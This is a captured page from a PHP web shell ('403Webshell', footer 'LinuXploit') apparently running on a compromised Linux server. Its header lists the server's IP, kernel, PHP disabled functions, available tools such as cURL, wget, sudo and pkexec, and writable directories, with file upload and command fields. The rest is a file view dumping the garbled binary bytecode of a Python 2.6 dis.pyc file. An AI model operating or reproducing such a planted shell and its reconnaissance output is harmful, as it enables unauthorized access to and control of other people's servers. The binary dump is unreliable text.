403Webshell
Server IP : 43.141.50.122  /  Your IP : 113.219.202.173
Web Server : Apache
System : Linux VM-8-5-opencloudos 6.6.34-9.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 19 19:35:45 CST 2024 x86_64
User : www ( 1000)
PHP Version : 8.1.27
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/qcloud/monitor/python26/lib/python2.6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/qcloud/monitor/python26/lib/python2.6/dis.pyc
��
z?�fc	@s�dZddkZddkZddkTddklZddddgeZ[eieieiei	e
fZdd	�Z
dd
�Zdd�Zddddd�ZeZd
�Zd�Zd�Zedjoe�ndS(s0Disassembler of Python byte code into mnemonics.i����N(t*(t__all__tdistdisassembletdistbtdiscocCs]|djot�dSt|�tijo
|i}nt|d�o
|i}nt|d�o
|i}nt|d�o�|i	i
�}|i�x�|D]Y\}}t|t
�o=d|GHyt|�Wntj
o}dG|GHnXHq�q�WnSt|d�ot|�n5t|t�ot|�ntdt|�i�dS(	snDisassemble classes, methods, functions, or code.

    With no argument, disassemble the last traceback.

    Ntim_funct	func_codet__dict__sDisassembly of %s:sSorry:tco_codes(don't know how to disassemble %s objects(tNoneRttypettypestInstanceTypet	__class__thasattrRRRtitemstsortt
isinstancet
_have_codeRt	TypeErrorRtstrtdisassemble_stringt__name__(txRtnametx1tmsg((s7/usr/local/qcloud/monitor/python26/lib/python2.6/dis.pyRs8




	
cCsr|djoKy
ti}Wntj
otd�nXx|io
|i}q<Wnt|ii|i	�dS(s2Disassemble a traceback (default: last traceback).s no last traceback to disassembleN(
R
tsystlast_tracebacktAttributeErrortRuntimeErrorttb_nextRttb_frametf_codettb_lasti(ttb((s7/usr/local/qcloud/monitor/python26/lib/python2.6/dis.pyR2s


cCs}|i}t|�}tt|��}t|�}d}d}d}x1||jo#||}	t|	�}
||jo"|djoHnd||GndG||jodGndG||jodGndGt|�id�Gt	|
i
d�G|d	}|
tjoht||�t||d	�d
|}d}|d}|
tjo|d}nt|�id
�G|
t
jodt|i|�dGqs|
tjod|i|dGqs|
tjodt||�dGqs|
tjod|i|dGqs|
tjodt|dGqs|
tjo5|djo|i|i}nd||dGqsnHqHWdS(sDisassemble a code object.is%3ds   s-->s>>s  iiiiilit(t)s(to N(R	t
findlabelstdicttfindlinestartstlenR
tordtreprtrjusttopnametljustt
HAVE_ARGUMENTtEXTENDED_ARGthasconstt	co_conststhasnametco_namesthasjrelthaslocaltco_varnamest
hascomparetcmp_opthasfreetco_cellvarstco_freevars(tcotlastitcodetlabelst
linestartstntitextended_argtfreetctoptoparg((s7/usr/local/qcloud/monitor/python26/lib/python2.6/dis.pyR<s^	







*








cCs�t|�}t|�}d}x�||jo�||}t|�}	||jodGndG||jodGndGt|�id�Gt|	id�G|d}|	tjo7t||�t||d�d	}
|d
}t|
�id�G|	tjo-|odt||
�d
Gq�d|
Gq�|	t	jo-|dj	od||
d
Gq�d|
Gq�|	tjodt||
�d
Gq�|	tjo'|od||
d
Gq�d|
Gq�|	t
jodt|
d
Gq�nHq!WdS(Nis-->s   s>>s  iiiiiiR%R&s(%d)s(to (R'R*R+R,R-R.R/R0R2R4R
R6R7R9R:(R@R?tvarnamestnamest	constantsRARCRDRGRHRI((s7/usr/local/qcloud/monitor/python26/lib/python2.6/dis.pyRmsJ





&






cCs�g}t|�}d}x�||jo�||}t|�}|d}|tjo�t||�t||d�d}|d}d}|tjo||}n|tjo
|}n|djo"||jo|i|�q�q�qqW|S(s`Detect all offsets in a byte code which are jump targets.

    Return the list of offsets.

    iiiii����(R*R+R0R6thasjabstappend(R@RARCRDRGRHRItlabel((s7/usr/local/qcloud/monitor/python26/lib/python2.6/dis.pyR'�s(



&





ccsg}|iddd�D]}|t|�q~}g}|iddd�D]}|t|�qR~}d}|i}d}x^t||�D]M\}	}
|	o0||jo||fV|}n||	7}n||
7}q�W||jo||fVndS(s�Find the offsets in a byte code which are start of lines in the source.

    Generate pairs (offset, lineno) as described in Python/compile.c.

    iNii(t	co_lnotabR+R
tco_firstlinenotzip(R@t_[1]RGtbyte_incrementst_[2]tline_incrementst
lastlinenotlinenotaddrt	byte_incrt	line_incr((s7/usr/local/qcloud/monitor/python26/lib/python2.6/dis.pyR)�s77	


cCs�tido_tido!tiid�tid�ntid}|p
|djo
d}qsnd}|djo
ti}n
t|�}|i�}|dj	o|i	�nd}t
||d�}t|�dS(s*Simple test program to disassemble a file.iisusage: python dis.py [-|file]
t-s<stdin>texecN(RtargvtstderrtwritetexitR
tstdintopentreadtclosetcompileR(tfntftsourceR@((s7/usr/local/qcloud/monitor/python26/lib/python2.6/dis.pyt_test�s"



t__main__(t__doc__RRtopcodeRt_opcodes_allt
MethodTypetFunctionTypetCodeTypet	ClassTypeRRR
RRRRRR'R)RjR(((s7/usr/local/qcloud/monitor/python26/lib/python2.6/dis.pyt<module>s&
#
1	'			


Youez - 2016 - github.com/yon3zu
LinuXploit